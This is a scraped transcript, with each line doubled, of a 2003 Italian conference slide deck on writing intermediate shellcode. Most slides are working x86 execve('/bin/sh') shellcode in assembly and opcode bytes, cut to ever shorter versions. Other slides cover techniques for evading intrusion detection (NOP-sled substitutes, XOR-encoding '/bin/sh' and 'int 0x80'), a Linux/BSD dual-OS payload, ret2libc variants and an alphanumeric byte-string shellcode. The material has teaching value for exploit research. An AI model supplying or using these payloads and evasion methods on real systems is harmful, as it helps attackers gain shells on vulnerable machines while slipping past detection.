webbit 2003 1 how to write a shellcode (intermediate) alberto ornaghi lorenzo cavallaro

36
webbit 2003 webbit 2003 1 How to write a How to write a shellcode shellcode ( ( intermediate intermediate ) ) Alberto Ornaghi <[email protected] Lorenzo Cavallaro <[email protected]

Upload: sebastiana-rostagno

Post on 02-May-2015

227 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 11

How to write a How to write a shellcodeshellcode((intermediateintermediate))

Alberto Ornaghi <[email protected]>Lorenzo Cavallaro <[email protected]>

Page 2: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 22

Table of contentsTable of contents

IDS evasionIDS evasion Shellcode multiOSShellcode multiOS Shortest shellcodeShortest shellcode Shellcode non rilocabiliShellcode non rilocabili goodies & fungoodies & fun

Page 3: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 33

IDS evasionIDS evasion

Page 4: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 44

Il problema dei NOP Il problema dei NOP 0x900x90 Gli IDS intercettano blocchi di nop Gli IDS intercettano blocchi di nop

consecutiviconsecutivi

Ottenere lo stesso risultato ma con Ottenere lo stesso risultato ma con operazioni differentioperazioni differenti

Metodo jmp 0x02Metodo jmp 0x02

Metodo inc %eax o similariMetodo inc %eax o similari

Page 5: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 55

Intercettazione di /bin/shIntercettazione di /bin/sh

E’ possibile scrivere uno shellcode E’ possibile scrivere uno shellcode senza l’uso della stringa “/bin/sh” senza l’uso della stringa “/bin/sh” esplicitaesplicita

Metodo XORMetodo XOR/bin/sh\0/bin/sh\0 2F 62 69 6E 2F 73 68 002F 62 69 6E 2F 73 68 00alorgigialorgigi 61 6C 6F 72 67 69 67 61 6C 6F 72 67 69 67

6969xorxor 4E 0E 06 1C 48 1A 0F 694E 0E 06 1C 48 1A 0F 69

Page 6: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 66

Intercettazione di int Intercettazione di int 0x800x80

Lo stesso metodo usato per le Lo stesso metodo usato per le stringhe, puo’ essere usato per le stringhe, puo’ essere usato per le istruzioni che compongono lo istruzioni che compongono lo shellcode stesso.shellcode stesso.

Utilizzare due valori che uniti in Utilizzare due valori che uniti in xor diano xor diano cd 80cd 80

Page 7: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 77

Shellcode multiOSShellcode multiOS

Page 8: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 88

Shellcode multiOSShellcode multiOS

Lo scopo del gioco e’ quello di creare uno Lo scopo del gioco e’ quello di creare uno shellcode che funzioni sia su linux che su shellcode che funzioni sia su linux che su bsd.bsd.

Problemi:Problemi:– Linux prende Linux prende ii parametri delle syscall dai parametri delle syscall dai

registriregistri– BSD prende BSD prende ii parametri delle syscall dallo parametri delle syscall dallo

stackstack– Linux usa 0xb in %eax per la execveLinux usa 0xb in %eax per la execve– BSD usa 0x3b in %eax per la execveBSD usa 0x3b in %eax per la execve

Page 9: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 99

Shellcode multiOSShellcode multiOS

Per il problema dei parametri…Per il problema dei parametri…

Possiamo mettere i parametri sia Possiamo mettere i parametri sia nei registri che sullo stack. In nei registri che sullo stack. In questo modo entrambi i sistemi questo modo entrambi i sistemi operativi troveranno quello che operativi troveranno quello che cercano.cercano.

Page 10: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 1010

Shellcode multiOSShellcode multiOS

Per il problema del valore di Per il problema del valore di %eax…%eax…

C’e’ la necessita’ di eseguire un C’e’ la necessita’ di eseguire un controllo a run-time sul tipo di controllo a run-time sul tipo di sistema ospitante.sistema ospitante.

Come fare ?Come fare ?

Page 11: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 1111

Shellcode multiOSShellcode multiOS

Sotto linux il registro speciale %fs Sotto linux il registro speciale %fs e’ sempre nullo, mentre su BSD e’ sempre nullo, mentre su BSD viene utilizzato normalmente viene utilizzato normalmente come registro selettore di come registro selettore di segmento (data)segmento (data)

E’ sufficiente quindi un controllo E’ sufficiente quindi un controllo su questo registro per distinguere su questo registro per distinguere i due sistemii due sistemi

Page 12: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 1212

Shellcode multiOSShellcode multiOS

Un po’ di codice…Un po’ di codice…

movl %fs, %eaxmovl %fs, %eax and %eax, %eaxand %eax, %eax je linuxje linux movb $0x3b, %almovb $0x3b, %al jmp bsdjmp bsd linux:linux: movb $0xb, %almovb $0xb, %al bsd:bsd:

Page 13: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 1313

Shortest ShellcodeShortest Shellcode

Page 14: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 1414

Shellcode Shellcode classico (38 classico (38 b)b)

jmp string_addr # 0xeb 0x18after_jmp: pop %edi # 0x5f xorl %eax, %eax # 0x31 0xc0 movb %al, 0x7(%edi) # 0x88 0x47 0x07 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08 movl %eax, 0xc(%edi) # 0x89 0x47 0x0c lea 0xc(%edi), %edx # 0x8d 0x57 0x0c lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08 mov %edi, %ebx # 0x89 0xfb movb $0xb, %al # 0xb0 0x0b int $0x80 # 0xcd 0x80string_addr: call after_jmp # 0xe8 0xde 0xff 0xff 0xff .string \"/bin/sh\"

Page 15: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 1515

Shellcode Shellcode ottimizzato (36 ottimizzato (36 b)b)

jmp string_addr # 0xeb 0x16after_jmp: pop %ebx # 0x5b xorl %eax, %eax # 0x31 0xc0 movb %al, 0x7(%ebx) # 0x88 0x43 0x07 movl %edi, 0x8(%ebx) # 0x89 0x5b 0x08 movl %eax, 0xc(%ebx) # 0x89 0x43 0x0c lea 0xc(%ebx), %edx # 0x8d 0x53 0x0c lea 0x8(%ebx), %ecx # 0x8d 0x4b 0x08 movb $0xb, %al # 0xb0 0x0b int $0x80 # 0xcd 0x80string_addr: call after_jmp # 0xe8 0xe0 0xff 0xff 0xff .string \"/bin/sh\"

Page 16: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 1616

Nuovo metodo di Nuovo metodo di costruzione per /bin/shcostruzione per /bin/sh Consideriamo la stringa /bin/sh Consideriamo la stringa /bin/sh

come sequenza di numeri come sequenza di numeri esadecimaliesadecimali

/ b i n / s h/ b i n / s h2f 62 69 6e 2f 73 682f 62 69 6e 2f 73 68

Possiamo fare “Possiamo fare “push 0x6e69622fpush 0x6e69622f””

Page 17: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 1717

Nuovo metodo di Nuovo metodo di costruzione per /bin/shcostruzione per /bin/sh Problema: la stringa e’ di 7 caratteri Problema: la stringa e’ di 7 caratteri

(disallineata)(disallineata)

Soluzione: usiamo la stringa Soluzione: usiamo la stringa ““//bin/sh//bin/sh””

push $0x68732f6e # n/shpush $0x68732f6e # n/sh

push $0x69622f2f # //bi push $0x69622f2f # //bi

Page 18: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 1818

Nuovo shellcode (25 b)Nuovo shellcode (25 b)

xorxorl l %eax, %eax # 31 c0%eax, %eax # 31 c0

push %eax # 50 push %eax # 50

push $0x68732f6e # 68 6e 2f 73 68 push $0x68732f6e # 68 6e 2f 73 68

push $0x69622f2f # 68 2f 2f 62 69push $0x69622f2f # 68 2f 2f 62 69

movl %esp, %ebx # 89 e3 movl %esp, %ebx # 89 e3

push %eax # 50 push %eax # 50

movl %esp, %edx # 89 e2 movl %esp, %edx # 89 e2

push %ebx # 53 push %ebx # 53

movl %esp, %ecx # 89 e1 movl %esp, %ecx # 89 e1

movb $0xb, %al movb $0xb, %al # b0 0b # b0 0b

int $0x80 int $0x80 # cd 80 # cd 80

Page 19: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 1919

Shellcode (24 b) Shellcode (24 b) © awgn & © awgn &

quequeroquequero

xorxorl l %e%eddx, %ex, %eddx # 31 x # 31 d2d2

push %epush %eddx # 5x # 522

push $0x68732f6e # 68 6e 2f 73 68 push $0x68732f6e # 68 6e 2f 73 68

push $0x69622f2f # 68 2f 2f 62 69push $0x69622f2f # 68 2f 2f 62 69

movl %esp, %ebx # 89 e3 movl %esp, %ebx # 89 e3

push %epush %eddx # 5x # 533

push %ebx # 53 push %ebx # 53

movl %esp, %ecx # 89 e1 movl %esp, %ecx # 89 e1

lea lea 0xb 0xb(%edx)(%edx), %, %eeaaxx # # 8d 42 0b8d 42 0b

int $0x80 int $0x80 # cd 80 # cd 80

Page 20: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 2020

Shellcode (24 b) Shellcode (24 b) © awgn & © awgn &

queueroqueuero

lea lea 0xb 0xb(%edx)(%edx), %, %eeaaxx # # 8d 42 0b8d 42 0b

lea spiazzamento(base), lea spiazzamento(base), destinazionedestinazione

In questo caso %edx e’ NULL In questo caso %edx e’ NULL quindi l’indirizzo assoluto caricato quindi l’indirizzo assoluto caricato in %eax e’ in %eax e’ 00 00 00 0b00 00 00 0b

Page 21: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 2121

Shellcode (23 b) Shellcode (23 b) © buffer & © buffer &

aloralor

push $0x0b push $0x0b # # 6a 0b6a 0b

pop %eax # 58 pop %eax # 58

cdq # 99cdq # 99

push %epush %eddx # 5x # 522

push $0x68732f6e # 68 6e 2f 73 68 push $0x68732f6e # 68 6e 2f 73 68

push $0x69622f2f # 68 2f 2f 62 69push $0x69622f2f # 68 2f 2f 62 69

movl %esp, %ebx # 89 e3 movl %esp, %ebx # 89 e3

push %epush %eddx # 5x # 533

push %ebx # 53 push %ebx # 53

movl %esp, %ecx # 89 e1 movl %esp, %ecx # 89 e1

int $0x80 int $0x80 # cd 80 # cd 80

Page 22: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 2222

Shellcode (23 b) Shellcode (23 b) © buffer & © buffer &

aloralor

push $0x0b push $0x0b # # 6a 0b6a 0b

pop %eax # 58 pop %eax # 58

cdq # 99cdq # 99

CDQ estende il bit di segno di %eax in CDQ estende il bit di segno di %eax in %edx.%edx.

In questo caso %eax contiene 00 00 00 In questo caso %eax contiene 00 00 00 0b, quindi il bit piu’ significativo e’ 0, 0b, quindi il bit piu’ significativo e’ 0, come conseguenza %edx viene azzeratocome conseguenza %edx viene azzerato

Page 23: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 2323

Shellcode (22 b) Shellcode (22 b) © ????© ????

La sfida e’ La sfida e’ aperta…aperta…

[email protected]@antifork.org

Page 24: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 2424

Shellcode non Shellcode non rilocabilirilocabili

(salto in libc)(salto in libc)

Page 25: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 2525

Salto in LibcSalto in Libc

Invece di invocare direttamente il Invece di invocare direttamente il kernel attraverso la syscall, e’ kernel attraverso la syscall, e’ possibile usare una funzione della libcpossibile usare una funzione della libc

Questo metodo rende lo shellcode Questo metodo rende lo shellcode non rilocabile, poiche’ l’indirizzo della non rilocabile, poiche’ l’indirizzo della funzione varia da sistema a sistema.funzione varia da sistema a sistema.

Page 26: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 2626

Indirizzo della funzioneIndirizzo della funzione

Supponiamo di volere trovare Supponiamo di volere trovare l’indirizzo di system()l’indirizzo di system()

nm /lib/libc.so.6nm /lib/libc.so.6[…][…]0004213000042130 W system W system OFFSET OFFSET[…][…]

ldd ./dummyldd ./dummylibc.so.6 => /lib/libc.so.6 (libc.so.6 => /lib/libc.so.6 (0x400200000x40020000)) BASE BASE

Page 27: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 2727

Shellcode call (13 b)Shellcode call (13 b)

La system vuole un parametro soloLa system vuole un parametro solo

xorl %eax, %eax xorl %eax, %eax # 31 c0 # 31 c0 movw $0x6873, movw $0x6873, %ax # 66 b8 73 68%ax # 66 b8 73 68

push %eax # 50 push %eax # 50

push %esp # 54 push %esp # 54

call 0x4006call 0x400621302130 # e8 # e8 xx xx xx xxxx xx xx xx

Page 28: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 2828

Shellcode call 2 (12 b) Shellcode call 2 (12 b) © alor© alor

push %fspush %fs # # 0f a00f a0 pushwpushw $0x6873 $0x6873 # 66 # 66 668 73 688 73 68

push %esp # 54 push %esp # 54

call 0x4006call 0x400621302130 # e8 # e8 xx xx xx xxxx xx xx xx

Page 29: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 2929

Rendiamolo piu’ Rendiamolo piu’ rilocabilerilocabile Il salto assoluto viene compilato Il salto assoluto viene compilato

come relativo, quindi non e’ come relativo, quindi non e’ possibile metterlo in qualsiasi possibile metterlo in qualsiasi punto dello stackpunto dello stack

Escogitiamo uno stratagemma per Escogitiamo uno stratagemma per poterlo spostare sullo stackpoterlo spostare sullo stack

Usiamo il “ret” al posto della callUsiamo il “ret” al posto della call

Page 30: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 3030

Shellcode ret (14 b) Shellcode ret (14 b) © gigi © gigi

sullivansullivan

push %fspush %fs # # 0f a00f a0 pushwpushw $0x6873 $0x6873 # 66 # 66 668 73 688 73 68

push %esp # 54 push %esp # 54

push %esp # 54push %esp # 54 # fake ret # fake ret

pushpush 0x4006 0x400621302130 # # 668 8 xx xx xx xxxx xx xx xx

ret # c3ret # c3

Page 31: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 3131

Goodies & funGoodies & fun

Page 32: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 3232

Borg shellcode Borg shellcode © alor© alor

char shellborg[] =char shellborg[] ="\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x50\"\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x50\x51" x51" ""RESISTANCE.IS.FUTILE.YOU.WILL.BE.EXPLOITEDRESISTANCE.IS.FUTILE.YOU.WILL.BE.EXPLOITED\x4" \x4" "\x44\x44\x83\xc4\x24\x59\x58\x4b\x4a\x47\x47\ "\x44\x44\x83\xc4\x24\x59\x58\x4b\x4a\x47\x47\x66" "\x83\xed\x06\x68\x2f\x2f\x62\x69\x66" "\x83\xed\x06\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"x89\xe3\x52\x53"

"\x89\xe1\xcd\x80";"\x89\xe1\xcd\x80";

Greetings to Dante © awgnGreetings to Dante © awgn

Page 33: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 3333

http://awgn.antifork.org/codes/http://awgn.antifork.org/codes/dante.cdante.c

'A' 'A' inc %ecxinc %ecx'B''B' inc %edxinc %edx'C''C' inc %ebxinc %ebx'D' 'D' inc %espinc %esp'E' 'E' inc %ebpinc %ebp'F' 'F' inc %esiinc %esi'G''G' inc %ediinc %edi'H' 'H' dec %eaxdec %eax'I' 'I' dec %ecxdec %ecx[…][…]

Page 34: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 3434

Klingon Shellcode Klingon Shellcode © awgn© awgn

pushl $0xpushl $0x80cd80cd0b420b42

pushl $0x8de18953pushl $0x8de18953

pushl $0x52e38969pushl $0x52e38969

pushl $0xpushl $0x622f2f68622f2f68

pushl $0xpushl $0x68732f6e68732f6e

pushl $0x6852d231pushl $0x6852d231

pushl %esppushl %esp

retret

Page 35: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 3535

POPA Shellcode POPA Shellcode © buffer© buffer

xor %edx,%edx xor %edx,%edx

push %edx push %edx

push $0x68732f6e push $0x68732f6e

push $0x69622f2fpush $0x69622f2f

mov %esp,%ebxmov %esp,%ebx

push %edxpush %edx

push %ebxpush %ebx

mov %esp,%ecxmov %esp,%ecxpush $0xbpush $0xbpush %ecx push %ecx push %edx push %edx push %ebx push %ebx sub $0x10,%espsub $0x10,%esppopa popa int $0x80int $0x80

Page 36: Webbit 2003 1 How to write a shellcode (intermediate) Alberto Ornaghi Lorenzo Cavallaro

webbit 2003webbit 2003 3636

– Lorenzo Cavallaro Lorenzo Cavallaro <sullivan@<[email protected]>.org>

– Alberto Ornaghi Alberto Ornaghi <alor@<[email protected]>.org>

http://shellcodes.antifork.orghttp://shellcodes.antifork.org